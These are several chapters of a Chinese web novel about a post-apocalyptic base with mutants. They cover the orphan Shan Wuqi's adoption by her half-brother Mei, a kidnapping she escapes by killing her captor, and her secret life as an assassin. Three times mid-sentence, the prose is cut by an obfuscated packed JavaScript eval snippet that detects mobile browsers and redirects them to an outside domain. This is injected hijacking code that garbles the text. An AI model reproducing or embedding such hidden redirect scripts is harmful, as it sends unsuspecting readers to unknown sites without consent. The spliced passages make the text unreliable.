柳法将佩特拉带到研究所,让她参观了培养罐里的另一个“佩特拉”。 那是个即将完成孵化的异种,它是波利的作品。 人类帝国覆灭后,新人类终于重新掌握了创生异种的能力。 “它和我长得真像,简直一模一样。”佩特拉说。 话音刚落,培养罐里的“佩特拉”睁开双眼。 它漂浮在充满绿色营养液的培养罐里,见有人来了,它笨拙地游动到玻璃壁附近,向罐外的佩特拉和柳法张开嘴巴。 一连串气泡从异种“佩特拉”嘴里冒出。 它明显呛了一口水,但它依然大张着嘴,仿佛一只求食的雏鸟。 柳法绷着俊脸,做贼一样飞快打开培养罐,扔了一块饴糖进去。 异种“佩特拉”轻车熟路地接住,连眼神都变得清澈了。 “你在干嘛?”佩特拉问。 “这只异种有你的记忆,它很喜欢饴糖。”柳法的解释永远那么正经,“师父说,他应该早一点想通,早一点带你来内城——那一天,你在柜台前站了很久,但那时的他连一个子儿都掏不出来。” 佩特拉突然绷不住了。 她用力瘪嘴:“我想爸爸了!” 柳法僵着脸,手足无措地站在原地,他也有一个女儿,但哄孩子是他的弱项。 可是片刻后,佩特拉收起哭脸。 三年级的佩特拉盯着培养罐里的异种,仿佛临水自照的双生花。 波利的流放隐秘而迅速,这件事甚至放上了首长的办公桌。 柳法继任研究所所长,但他还未点燃上任的三把火,实验室就发生了一起重大事故。 柳法看着坐在地上的佩特拉:“你是谁?” 培养罐被打破了,不知是从内还是从外。 有着佩特拉相貌的未知存在仰起脸,在淌了一地的绿色营养液里,她仿佛一朵带毒的沼泽大丽花。 佩特拉笑嘻嘻:“你猜?” …… 现在,佩特拉深吸一口气。 “总之,你俩要么别谈,要么想办法把证扯了。”目的地已经抵达,佩特拉不再说笑,“我要死了,你就当是我的遗言吧。” 安多尼转动念珠的手一顿。 他盯着佩特拉的前胸,两绺垂下来的长发成了精一般,疯狂地捶打佩特拉的身体。 “佩特拉!”头发竟然艰难地张嘴了,“佩特拉!” “给我滚去结婚,佩佩。”佩特拉严厉又温柔,“你只是一只小小的、可怜的异种,你不必为了人类的大业去死。” 头发愣了一下,更加用力地捶打佩特拉。 佩特拉的身形开始缩水,几秒后,又变回了高挑的成年女性。 人类的佩特拉压制住体内的异种,抬眸看向前方。 ——一颗晶莹剔透的巨大孢子悬浮在底座上,隐隐闪烁着美丽的荧光。 …… 单无绮宛如一把尖刀,锋利地刺入了敌人腹地。 她盯着面前的“人”,谨慎地收起狂舞的触手,一改之前狂野的战斗作风,由进攻转为防守。 “你是谁?”单无绮问。 被问话的“人”安静地凝视着单无绮。 “你很勇敢,人类。”那“人”露出笑容,柔和,熟悉,让单无绮一瞬间毛骨悚然,“一个月不见,你还好吗?” 单无绮和那“人”遥遥对峙。 她们之间,仿佛放着一面看不见的镜子。 单无绮的瞳孔倒映出那“人”的脸。 ——那“人”有着和单无绮一模一样的脸。 ——仿佛一对双生花。 60. 单无绮的往事(一) “你长着和我一样的脸。”单无绮道。 “这是一个意外,人类,但我并不介意。因为创生种的样貌与基因序列无关,而与记忆有关。”有着单无绮容颜的神秘异种笑了笑,语气说不清是示好还是威胁,“不过我很好奇,现在的你到底站在哪一方?” 单无绮毫不犹豫:“人类。” 神秘异种发出一个复杂的气音。 它的情绪发生了一些波动,周围的异种因此躁动起来。 单无绮警惕地举起鳞爪,但神秘异种抬了抬手,那些原本躁动的异种,竟然一瞬间安静了下来。 “我搞不懂人类。”神秘异种放下手,“我拥有你的记忆,单无绮。你作为人类的经历绝对称不上美好。” 单无绮凝眉:“我不记得了。” “噢!”神秘异种的双眼亮了起来,“你失忆了……你原来失忆了,你竟然失忆了!有趣,有趣!我大概知道你仍对人类保持忠诚的原因了。” 单无绮不语。 神秘异种缓缓靠近,周围的异种如忠诚的臣子,按照王的命令停在原地,即使它们的口器已经淌下垂涎的涎水。 单无绮的蓝瞳倒映出那张一模一样的脸庞。 神秘异种伸出指尖,轻轻点在单无绮的额头上。 “我吃掉了你的记忆,它很浓郁,像一个美丽的噩梦。”神秘异种的声音带着一丝风雨欲来的兴奋,“作为补偿,现在,我将把它还给你。” 莹白的光芒在异种的指尖迸现。 单无绮的视野顿时被迷雾笼罩。 她获得了失去的记忆。 …… 冷雨如豆,单无绮拿着一个破碗,蜷缩在屋檐下。 单无绮没爸没妈,是个孤儿。 她不知道自己的父亲是谁,但她模糊地记得自己的母亲,那双散发着好闻香气的手臂总是温柔地揽着她,但在她刚刚长齐乳牙的时候,母亲离开了。 一颗又一颗的冷雨掉在碗里,单无绮收起小短腿,尽力往屋檐里面缩。 一双做工精良的皮靴停在单无绮跟前。 单无绮抬起头,看到了一个俊俏的青年。 青年留着半长的头发,两只灰色的眼眸形似花瓣。他没有凹陷的脸颊和枯槁的眼神,和周围的穷人格格不入,仿佛一只掉入泥沼的白鹤。 青年的灰眸倒映出一个小孩。 一个脏兮兮的,面黄肌瘦的,和周围破败的环境融为一体的小孩。 青年盯着单无绮的胸脯,上面,细小的肋骨一根根凸起。 在贫穷的外城,饥饿和死亡是双生兄弟。 “你叫什么名字?”青年问。 “小七。”单无绮答。 “几岁了?” “五岁。” 青年好看的眉毛微微皱起:“你记得自己的生日?” “不记得。”单无绮诚实地摇头。 她透过稀疏的雨帘,指了指屋檐外的天空。 ——基地上空,伊甸维持着巨大的防护罩。 ——每年,伊甸都会定期检查防护罩,那时,平静的防护罩会泛起美丽的涟漪,仿佛神明弹奏竖琴。 “妈妈走的那一天,她告诉我,小七三岁了。”单无绮小声地说,“每过一年,大罩子都会晃一下,我看着天空,就知道,我又长大了一岁。” 青年深吸一口气。 几秒后,青年半蹲下来,大衣垂落在地,粘上许多污泥。 他伸出一只手:“跟我走。” 单无绮歪头:“为什么?” “那个女人丢下了你,也丢下了我。”青年道,“你是我妹,我是你哥。” 单无绮没有立刻回答。 她安静地看着面前的青年。 青年保持着伸出一只手的姿势,神色从期待变得疑虑,继而一点点沉寂。 他开始思考,收养这个同母异父的妹妹,是否是一个错误的冲动。 单无绮的脸蛋脏兮兮,唯有一双蓝眼睛格外明亮,她和那些行尸走肉的外城人不同,她的生命力还没有完全被这片穷土吞噬。 青年的指尖颤了颤,他已经等待了很久。 他叹了一口气,打算收回手。 但这时,单无绮动了。 单无绮的双手原本窝在肚子上取暖,在青年的注视下,单无绮抬起手,把手放进盛着半碗雨水的破碗。 雨水变成污水,脏兮兮的小手变得洁净了。 单无绮把洗干净的手,小心翼翼地放上青年伸出的手心。 那双手是她全身上下最干净的地方。 “哥哥。”单无绮小心地叫道。 青年灰色的眼眸一瞬间明亮又羞涩。 他的动作急匆匆,力道却轻极了,小小的单无绮被他从地上拉起来,以被保护的姿态抱进怀里。 单无绮小心地悬着双手,犹豫片刻后,她用双手最干净的地方,轻轻环住青年的肩膀。 ——有钱的内城人偶尔会来外城收养一两个孩子。 ——单无绮没有想到,这份好运会落在自己身上。 “你还记得那女人……你母亲吗?”青年追问。 他的吐息打在单无绮脸上,像午夜的花香。 单无绮不记得母亲的脸,更不记得母亲的姓名,但这气味唤起了她对母亲唯一的回忆。 单无绮的内心挣扎了好几下。 最终,她把鼻子埋到青年的衣领上,小心翼翼,像一只被收留的弃犬,连摇尾巴都要考虑是否惹人厌。 嗅嗅,嗅嗅。 单无绮的眉心微不可察地松开了。 青年从没被人这么亲近过,尽管单无绮已经足够谨慎。 他皱眉:“怎么了?” “……是妈妈。”单无绮轻声道,“……你闻起来很像她。” 青年的脸色肉眼可见地阴沉了一瞬。 几乎同一时刻,单无绮的小脸闪过一丝慌乱。 “母亲”对单无绮来说,是一个模糊而美好的概念,但单无绮敏锐地意识到,母亲对面前的青年也许并不算好。 单无绮低下头,放在青年肩膀上的手也讪讪地松开了。 青年察觉单无绮的情绪。 他深吸一口气,把小家伙朝怀里用力摁了摁。 “你可以叫我梅。”梅没有提及他的姓氏,他的父亲比抛夫弃子的母亲还要不堪,“你有大名吗?” 单无绮摇头。 “你喜欢小七这个名字吗?”梅又问。 单无绮垂眸思考,没有点头,也没有摇头。 “妹妹。”于是梅道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991612|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我去内城吧。” …… 外城和内城还没有彻底完成封锁,梅顺利地买到了两张火车票。 等待发车的时间里,梅和单无绮坐在月台的长椅上,中间隔着一个人的距离。 梅不善言辞,单无绮也忐忑茫然。 他们沉默了很久。 单无绮的两条小短腿够不到地,晃荡荡地悬在空中。她岔开腿,双手撑在两腿间的空隙里,盯着自己露出脚趾的鞋尖。 “内城的衣服比外城好看。”梅突然开口,“等到了内城,再给你挑衣服。” 单无绮扭头。 梅的余光落在单无绮身上。 见单无绮看过来,他的呼吸僵了僵,脑袋欲盖弥彰地往反方向用力偏去。 单无绮盯着梅的耳尖。 微红,粉红,鲜红。 “哈哈哈!”单无绮忍不住笑了起来。 梅恼羞成怒,转过头狠狠地瞪了单无绮一眼。 单无绮银铃般的笑声回荡在月台上,梅面无表情地盯着单无绮,下垂的嘴角挂着一千斤重的砝码。 兄妹俩一个没头脑,一个不高兴。 这时,一对年轻的夫妻走了过来。 丈夫扶着妻子,妻子身怀六甲。 “日安,两位小友。”丈夫礼貌而拘谨地向二人请求,“月台上的椅子都坐满了,你们这里还有一个空位,请问可以让我的妻子坐一会儿吗?她实在无法久站。” 梅点头,要把单无绮揽过来。 单无绮突然自来熟。 她毫不客气地爬到梅的腿上,对年轻的夫妻道:“你们请坐。” 梅一瞬间手足无措。 梅的双手僵硬地抬起,像一只踩到橘皮的猫。 单无绮在梅的大腿上调整坐姿,待安稳坐下后,又偏过头,新奇地盯着女人隆起的肚子。 年轻的女人朝单无绮友好地笑:“小朋友。” “你们要有小宝宝了。”单无绮叽叽咕咕地说,“他/她一定很漂亮。” 女人的脸十分平凡,但上面洋溢着满满的幸福,让她的五官蒙上一层温柔的光。 女人对单无绮笑道:“谢谢你,你和你的兄长也很漂亮。” 梅仍然高举着双手,他到现在都没决定好,应该用什么姿势抱着单无绮。 单无绮眨了下眼睛:“你怎么知道他是我哥?” “因为他实在不像个父亲。”旁听的男人笑了起来。 男人背着大包小包,说话时,他从小包里掏出一张柔软的面巾,又变魔法般找到热水,把面巾微微沾湿。 征得妻子和梅的同意后,男人示意单无绮转过脸,把单无绮脸上的泥巴一点点擦干净了。 “好了。”男人舒了一口气,“兰妮,如你所料,她果真是个非常漂亮的小姑娘。” 名为“兰妮”的女人哼道:“你怎么猜到我在想这个?” “你是我的挚爱,我当然能猜到。”男人道。 年轻的夫妻双目对视,空气中弥漫着粉红泡泡。 单无绮看着梅阴沉的脸:“……哥,你别生气。” “我没生气。”梅答。 “哦。”单无绮没心没肺地转过头,留给梅一个脏发打绺的后脑勺。 梅:“……” 61. 单无绮的往事(二) 火车拉着长长的汽笛靠站。 单无绮从火车上跳下来,下一秒,她的后衣领就被梅扯住了。 “别乱跑。”梅微微皱眉。 “哦。”单无绮老实了。 梅带单无绮回到公寓,他打算先让单无绮洗个澡。 梅把单无绮带进浴室,告诉单无绮怎么打热水,怎么抹香波。单无绮眼睛骨碌碌乱瞟,抬手抓起窗台上的肥皂,放在鼻子下用力地嗅了两下。 单无绮张开嘴。 梅一把抢过肥皂:“这个不能吃!” 最终,梅亲自给单无绮洗了澡。 一开始,梅紧闭着双眼,两只手僵得像木头。他从没给别的活物洗过澡,更别提一个女孩。 但随着第一捧热水泼到梅的脸上,场面开始失控。 什么男女有别,什么授受不亲,统统都是放屁!五岁的小孩不配拥有性别,就是一只毛都没长齐的泼猴! 梅给单无绮洗完澡,浑身湿哒哒,像从水里捞出。 初为人兄的青涩和柔软,在梅的身上已经荡然无存。 他把单无绮抓起来,用浴巾粗暴地裹好,心无杂念,胸襟坦荡,眼中没有一丝对妹妹的怜惜和爱护,只有想要快点结束这份工作的疲惫和麻木。 梅给单无绮吹完头发,又把她反锁在浴室外,快速地冲了个澡。 单无绮焦急地拍门,梅咬牙切齿地咽下喉咙里的脏话,竭力忽略单无绮的动静。 但当梅洗完澡时,他突然后知后觉地意识到,单无绮已经安静很久了。 孩子静悄悄,必定在作妖。 梅汗毛倒竖,“砰”地推开浴室门。 但预料中的情况并没有发生。 公寓还是那个公寓,整洁,崭新,五脏俱全。 单无绮洗得干干净净,身上裹着浴巾,蜷坐在二手沙发上。她背对着梅,脑袋朝向窗外,夕阳打在她毛茸茸的黑发上,为她的发尖镀了一层金光。 听到梅出来,单无绮转过脸。 “你出来啦!”单无绮的声音高兴极了,“我等了你好久啊!” 梅突然失语。 梅今年二十四岁,有一个离家出走的妈和一个酗酒赌博的爸,他咬紧牙关攒够了首付,却在生活即将开启新篇章时,骤然得知他失踪多年的母亲已在外城去世。 并且,根据现场的工作人员转述,母亲在外城还有一个女儿。 “那个女孩呢?”一开始,梅吐不出“妹妹”这个词,他觉得这是个累赘。 “抱歉,我们还没有找到她。”工作人员充满歉意地说,“那个女孩在很小的时候,就被您的母亲遗弃了,找到她的希望……很渺茫。” 梅愣了一下。 等他回过神,他下意识开始计算自己的收入。 梅再不幸,他的童年至少有一片遮雨的屋顶。但单无绮比梅更不幸,整个世界的风雨都泼洒在她身上。 当她被找到时,身上全部的财产只有一个讨饭的破碗。 现在,梅看着单无绮亮晶晶的眼睛,突然用力地偏过头。 单无绮跳下沙发,啪嗒啪嗒走到梅身边。 她仰起脸:“哥哥。” 梅深吸一口气。 梅把单无绮抱起来,这毫无难度,因为单无绮瘦得只有一把骨头。他把单无绮放到沙发上,拿起叠在一旁的新衣服,颤抖而克制地给单无绮穿上。 单无绮的手慌乱地抬了一下,她没想到那衣服真的是给她的。 梅给单无绮穿好衣服,把两只小小的兔子拖鞋套在她的脚上。 梅不满地“啧”了一声:“有点大了。” “没关系!我还会长高的!”单无绮立刻解围道,她觉得梅突然变得很陌生,这让她心中的忐忑和恐惧再次浮了出来。 梅沉默地盯着单无绮,单无绮讪讪闭嘴。 她揪着衣摆:“你……你会把我养到那个时候的,对吧?” 梅依然沉默。 单无绮垂下头。 突然,单无绮的脑袋被用力地揉了一下。 单无绮抬起头,发现梅的灰眸红了一圈,但看起来不像是伤心,也不像是高兴。 单无绮只有五岁,她说不清梅到底因为什么想要哭泣。 “……哥。”单无绮怯怯地叫了一声。 “对嘛,我是你哥。”梅沙哑地说,眼睛笑得眯起来,“走,我们去买衣服。” 单无绮犹豫了一瞬:“给我吗?” “不然呢?” “可我身上已经有一套了。” “内城的女孩子至少要有七套成装,一周内如果出现重复的穿搭,她是会被嘲笑的。”梅说,“走吧,我们去二区,那里的衣服样式最多。” 单无绮没动。 梅已经起身,见单无绮没有跟上,他疑惑地回头:“你愣着做什么?” “你说得是真的吗?”单无绮轻声问。 梅以为单无绮在说买衣服的事:“真的。” “……”单无绮用力低下头,小嘴抿得紧紧的。 梅走到单无绮身边,蹲下身,看她低垂的小脸:“怎么了?你不高兴?” “没有,我超高兴的。”单无绮的声音闷闷的,“但是……内城和我想的不太一样,为什么女孩子没有七套衣服,她就会被嘲笑呢?明明两套衣服就已经够穿了。” 梅愣了愣。 “我有点难过……”单无绮的眼泪啪嗒啪嗒地掉,“我……我不喜欢这样的内城……” 单无绮深深地垂着头。 她以为内城是天堂,但当她来到天堂,她才猛然意识到,外城本不该成为地狱。 有的人,一周内穿过重复的衣服就会被嘲笑。 有的人,把地上的石子捡起来含在嘴里,欺骗肚子已经吃过东西。 梅听懂了单无绮的言外之意。 他把单无绮搂紧怀里,轻声道:“妹妹,那是老派内城人才有的想法,他们一出生就躺在金山上,一辈子不工作都能吃穿不愁。我和他们不一样,我的每一笔钱都是用自己的汗水换来的。” 单无绮一针见血:“哥,你还有多少钱?” 梅:“……” 梅:“养活我俩够了。” “最多再买一套衣服。”单无绮从梅怀里抽离,竖起一根手指,“我还在长高,将来会长得更高。如果买很多衣服,还没等我穿够呢,我就穿不下了。” 梅反驳:“三套。” “两套。” “成交。” “谢谢哥!”单无绮甜甜地说。 梅的心一下子化掉了。 养一个小孩,似乎……也没有那么糟糕。 * 梅给单无绮办理了手续,将她的户口迁到了内城,兄妹俩在同一个户口本上。 因为单无绮的身份尾号是357,于是单无绮的名字,从“小七”变成了“单无绮”。 梅和单无绮相差十八岁,他几乎是把单无绮这个妹妹当成女儿一样养大。 单无绮成绩优异,她顺利地入读内城第一小学,六年后,她又成功考进内城第一中学。 内城一中是大部分党员的母校,四部的摇篮。 梅也是党员,他是团结部执行司的人,干着团结部最脏的活。 梅经常十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007499|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天半个月不回家,但单无绮非常独立,一个人上下学,一个人做饭,一个人打扫卫生,完全不需要梅操心。 一天放学,单无绮和往常一样,一个人走在回家的路上。 突然,一条手帕蒙上了单无绮的口鼻。 浓烈刺鼻的气味进入单无绮的鼻腔,单无绮瞬间昏迷过去。 醒来时,单无绮的嘴巴被胶带封住,双手反绑在身后,周围的环境漆黑封闭,隐约能闻出空气中的粉尘。 单无绮安静地等待了一会儿。 发现没人过来,她拨弄无名指上的戒指。 锋利的倒钩从戒指暗扣里弹出,单无绮一点点割断了绑住手腕的麻绳。 这是单无绮第一次被绑架,但单无绮并不惊慌。 梅来去神秘,对自己的工作讳莫如深。 单无绮看破不说破。 偷偷翻看过梅藏起来的存折后,单无绮意识到,她亲爱的哥哥,一个毫无背景的毛小子,能如此迅速地积攒起惊人的财富,唯一的解释是,他成为了上位者的白手套。 基地是一个病态却自洽的权力系统,处处上演着吃人的戏码。 聪明人搭伙一起吃;坏人生吞活剥地吃;普通人不吃人,慢慢等着被人吃;而蠢人是一边吃人,一边把自己切了。 梅不是被吃掉的一方,单无绮感到欣慰。 这里是一个废弃工厂。 单无绮估算出昏迷的时长,结合内城功能区划分,大致推测出自己所在的片区。 她所在的片区离家很远。 单无绮抚摸无名指上的戒指。 她开始思考,自己需要多久才能脱身?这件事梅知道的概率有多大?梅是否会请假回家?那本厚厚的存折又会打进来多少钱? 最重要的是,今天的家庭作业,是回家后自己写,还是明早去抄同桌的? 单无绮正在冥思苦想,突然,工厂的大门被打开了。 单无绮伶俐地爬上高高的废钢堆,将自己藏了起来。 进来的人拎着一个黑布袋,里面似乎装着一个人,看轮廓是个小孩。 绑匪看着地上的断绳:“草!那小丫头跑了!” 绑匪把黑布袋扔到地上。 布袋口松开,里面的人露出半张脸,是个俊俏的小男孩。 单无绮盯着打开的大门,耐心地等待了一阵。 确认绑匪在附近没有同伙后,单无绮在高处一个起跳,双腿带着凌厉之势下劈,顷刻间绞上了绑匪的脖子。 不等绑匪反应过来,单无绮用力一扭。 咔嚓。 绑匪倒地。 单无绮从绑匪身上跳下来,迎面撞上一张满含恐惧的小脸。 小男孩:“你杀人啦?!” “闭嘴。”单无绮冷声道,她对梅以外的人一向没有笑容,“我走了,你自便。” “带我一起走!”小男孩声嘶力竭,他本来十分冷静,但此时此刻,没人能保持理智,“你要是走了,亚历克谢先生会被牵连降职的!” 梅的全名叫梅·亚历克谢。 这是个冷知识。 梅憎恨他的父亲,因此从未和单无绮提及他的父姓。梅的全名,是单无绮上户口那年,她偷偷在户口本上瞥到的。 这个小男孩来历不简单。 单无绮转过头:“你知道我是谁?” “你是亚历克谢先生的妹妹。”小男孩的语气十分坚定,但单无绮听出来了,他是蒙的,“我叫萨摩,萨摩·亨特,我的父亲约书亚·亨特,是亚历克谢先生的上司。” 哦豁,关系户。 单无绮面无表情地想道。 62. 单无绮的往事(三) 见单无绮态度犹豫,萨摩上道地掏出一枚铜制徽章,上面刻着交叉双剑,是团结部党员才有的徽章。 单无绮接过捏了捏,不是假的。 白手套的下场一般都好不到哪里去,但单无绮绝不想因为自己的一时大意,就让梅提前断送政治生命,乃至性命。 在萨摩忐忑的注视下,单无绮把铜制剑徽抛给萨摩:“你想让我做什么?” 萨摩还是个小学生,目测只到单无绮胸口高。女孩比男孩发育得早一些,单无绮如今已经是初中一年级,身高止步于159cm。 穿上鞋就是163cm,四舍五入就是165cm。 “爸爸会派人来救我的,我在沿途留下了记号,救援人员会跟着记号找过来。”萨摩年纪不大,口吻倒是很老练,“那个绑匪是友爱部党员,他很谨慎,但我记得他的脸。” 单无绮眼睛眨也不眨,萨摩以为单无绮没听懂:“你可能不知道,我的意思是……” “筑墙派和迁徙派又开始互扯头花了,对吧?”单无绮一针见血,“老首长还没死呢,我估计他还能撑几年,但他的老年生活注定不会很愉快——他手底下的人一个个都等着吃肉,但最大的那盘肉被老首长占着,为了避免人们将餐刀对准自己,那个老东西必须把局势搅乱,越乱越好。” 萨摩张着嘴愣在原地。 单无绮对萨摩伸出一只手:“走,去上面等。” 绑匪的尸体还没变凉——单无绮扭断了绑匪的脖子,宛如魔高一丈。 萨摩盯着单无绮伸出的手,在他眼里,里面的威胁远大于示好。 单无绮皱眉:“起来。” 萨摩害怕地咽了下唾沫。 他绷住颤抖的手指,小心地拈住了单无绮的指尖。 单无绮反手握紧萨摩的手,将他用力拉了起来,又把他往肩上一甩,利索地爬上了高高的废钢堆。 单无绮把萨摩放下来。 萨摩顶着蚊香眼:“……你是猴子吗?” “我和你不一样,少爷。”单无绮坐在萨摩旁边,托腮盯着虚空,“我一出生就在泥巴里打滚,不像你,嘴里含着金汤匙长大。” 萨摩沉默。 良久,萨摩道:“等回去,我会向父亲求情,让亚历克谢先生到我父亲手下做事。” 这是实打实的好处。 在有些人眼里,这是上位者施舍的冷饭,但单无绮不在乎。她和她亲爱的哥哥一样,道德底线弹性灵活,法律只是一本价目表。 单无绮露出一个笑容:“多谢你。” 这笑容宛如冰雪融化。 萨摩眼底流露出一丝惊艳。 但萨摩还没来得及说什么,单无绮就转过脸,脸上的笑容也顷刻间消失。 萨摩深吸一口气:“你尊重我一下,你这样……太不礼貌了!” 单无绮伸出一只手。 萨摩:“?” 单无绮:“给钱。” 萨摩咬牙切齿。 萨摩出身再好,他也只是个小学生,父亲堆积如山的财富,在以后必定全部属于他,但也只是“以后”。 现在的萨摩·亨特,唯一的特权就是每天可以买一个冰淇淋球。 他翻遍全身的口袋,终于凑出可怜的一点钱——那是他留着买冰淇淋球的。 萨摩把信用券砸进单无绮手心:“现在可以了吗?” “是,少爷。”给钱就是老板,单无绮再次露出微笑。 工厂仓库飞尘漫天。 萨摩突然觉得,丁达尔效应可以立竿见影地强化一个人的美貌。 萨摩问:“你叫什么名字?” “357。”单无绮道。 单无绮没骗萨摩,她和梅的习惯是不留全名。除了正式考试,单无绮的署名都是“357”,而梅心情大好时,他会在试卷上需要家长签字的地方画一朵梅花。 梅从来没有在单无绮面前发脾气,他不会把工作上的坏情绪带到家里,而单无绮次次都考满分。 萨摩接受了这个名字,他理解单无绮的戒心。 救援的人很快赶来。 那个可怜的倒霉蛋一看就是临时加班,他全副武装地冲进来,第一眼,被横尸在地的绑匪吓了一跳,第二眼,又被坐在废钢堆上的两个小孩吓了一跳。 而当他看到单无绮拎起萨摩,就要从高高的废钢堆上跳下来时,他整个人吓得魂魄出窍。 “别!别!”救援人员手舞足蹈地比划,“你们千万别动,我上来救你们!” 单无绮大笑一声:“谁要你来救?” 萨摩紧紧地抱住单无绮,脸上蹭着灰。 他的耳朵贴在单无绮的胸膛上,清晰地听到了单无绮的心跳声。 咚咚,咚咚,咚咚。 “我要跳了!”单无绮爽利地宣告。 不等在场的另外两人有所反应,她张开双臂,像一只展开翅膀的鸟,从高高的废钢堆上一跃而下。 有的鸟没有翅膀,但一生都渴望飞翔。 呼啸的狂风在萨摩耳边刮过,他突然心生恐惧,抱紧单无绮的双臂不受控制地松开了。 地面近在眼前,萨摩绝望地闭上双眼。 但预料中的疼痛并没有出现。 一只手牢牢地、有力地抓住了萨摩的衣领。 萨摩睁开眼。 单无绮玩味地盯着他,尖俏的小脸近在咫尺。 “你没吃饭吗,少爷?”单无绮松开手,萨摩立刻摔了一个屁股蹲,“救你的人来了,我先走了。” 萨摩下意识向前追了两步,但他被救援人员后怕地抱住了。 待萨摩挣脱束缚,单无绮的背影已经消失不见。夕阳从工厂敞开的大门照进来,外面的天空已是血似的那么红。 她走了,像梦一样。 萨摩喃喃念叨“357”这个数字,双手插进兜里,脸色倏地一黑。 他身上一分钱都没有了。 他这周的冰淇淋球泡汤了。 …… 那个绑匪不是单无绮杀掉的第一个人,但却是被梅知道的第一个人。 梅没有想到,听话懂事的妹妹竟然有两副面孔。 耐着性子应付完上司的提拔和敲打后,梅怒气冲冲地赶回家,却发现单无绮已经做好一桌子菜,新出炉的满分试卷放在桌子最显眼的地方。 单无绮睁着无辜的大眼睛:“哥。” 梅满肚子的火憋了回去。 他深吸两口气,用力拉开椅子坐下。 吃饭时,单无绮一刻不停地给梅夹菜。 梅把菜扒拉开,单无绮又夹。 如此拉扯着吃完一顿饭,梅放下筷子的同时,单无绮立刻从身后掏出早已准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020326|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的皮带,恭恭敬敬地双手举给梅。 梅接下,单无绮抱头:“哥,别打脸。” 梅气得鼻子都歪了。 他用皮带戳单无绮的脸:“你为什么这么熟练?谁教你的?谁教你的?!” “我自己学的。”单无绮撒谎都不用打草稿,“学校里有武术选修课,我和秦老师关系好,他多教了我一点。” 啪! 梅把一只手枪拍在桌上。 单无绮的脸瞬间白了白。 梅盯着单无绮变幻的神色,无处发泄的怒火鬼使神差地熄灭了。 他轻声道:“单无绮,我和你实话实说吧,我早就发现你不老实了。你偷走我锁在抽屉里的枪,打完里面的子弹后,又在黑市淘同款子弹填装回去——但你遗漏了一个细节,四部的子弹都有特殊编号,即使有一部分流入黑市,也是老掉牙的残次品。” 单无绮盯着脚尖,梅又说道:“单无绮,我理解你的好奇,你还是个孩子,你……” “我不是好奇。”单无绮轻轻地说。 梅微微一愣。 “存折里的钱越来越多,买下十条人命都绰绰有余,哥,你的处境越来越危险了。”单无绮垂着头,闷声闷气,“人不会做亏本买卖,他们给你这么多钱,将来要死的人,绝对不止你一个。” 梅盯着单无绮:“你怕我连累你?” “不,哥,我怕我们被吃干抹净。”单无绮的声音带着一点鼻音,“上位者施予下位者的,必然连血带骨回到他们手中。如果我也死了,你的名字会比一粒尘埃还轻,入睡时,他们甚至连一个噩梦都不会做。” 梅沉默。 单无绮抓起梅的手,贴在自己的脸颊上。 几颗湿润的泪水滑过梅的手背,梅的指尖因此细微地颤抖了一瞬。 “……你别死。”单无绮的声音轻得像一只小猫,“……哥,你别死。” 梅的心一瞬间揪得生疼。 这件事有惊无险地过去了。 梅留下一把子弹,叮嘱单无绮不要随便开枪,便又回到工作中去了。 单无绮在窗边目送梅远去,又关上窗,从床底搬出一个小箱子。 她打开箱子,里面有各种小型枪械,好几打不同型号的子弹,以及一把狙击枪的零件。 单无绮把除了狙击枪之外的枪械倒出来,正要关上箱子,犹豫片刻,又把梅留给她的子弹用手帕包好,仔细地掖在箱子角落。 她拎起箱子,看了看窗外的夜色。 兄妹之所以是兄妹,正是因为他们会踏上同一条道路,无论早晚。 叮铃铃—— 家里的电话响起。 电话响了三声,然后被对面主动挂断。 这样的“骚扰电话”不会引起友爱部的注意,而且梅常年不在家,即使不巧被梅撞上,单无绮也有法子圆过去。 单无绮拎着小箱子离开家。 夜色中,单无绮和伙伴碰头。 他们彼此谈不上有交情,因为利益关系才是最稳固的关系,尤其在杀手这个行业里。 伙伴递来一根烟:“来一根?” 单无绮摇头,问道:“这次是谁?” “太阳。”伙伴答。 单无绮呼吸一滞。 ——基地的太阳,有且只有那一位。 ——老首长。 63. 单无绮的往事(四) 单无绮组装狙击枪,再次婉拒同伴抽一根的盛邀。 “七姐,你可以试一试嘛。”杀手同伴吊儿郎当,遍布伤痕的手拈着一根没点燃的烟,“干咱们这一行的,都是有今天没明天——人生要及时行乐啊!” 单无绮组装完毕,开始调试精度。 “哎哎哎,你有听我说话吗?咱们刺杀的可是老首长啊,虽然不知道是不是后无来者,但也是前无古人了!”杀手伸手戳单无绮。 但下一秒,杀手的手臂僵硬地悬停在半空。 ——单无绮的匕首抵上杀手的鼻尖,但凡杀手晚一秒停下,他就要毁容了。 “别吵。”单无绮冷声道。 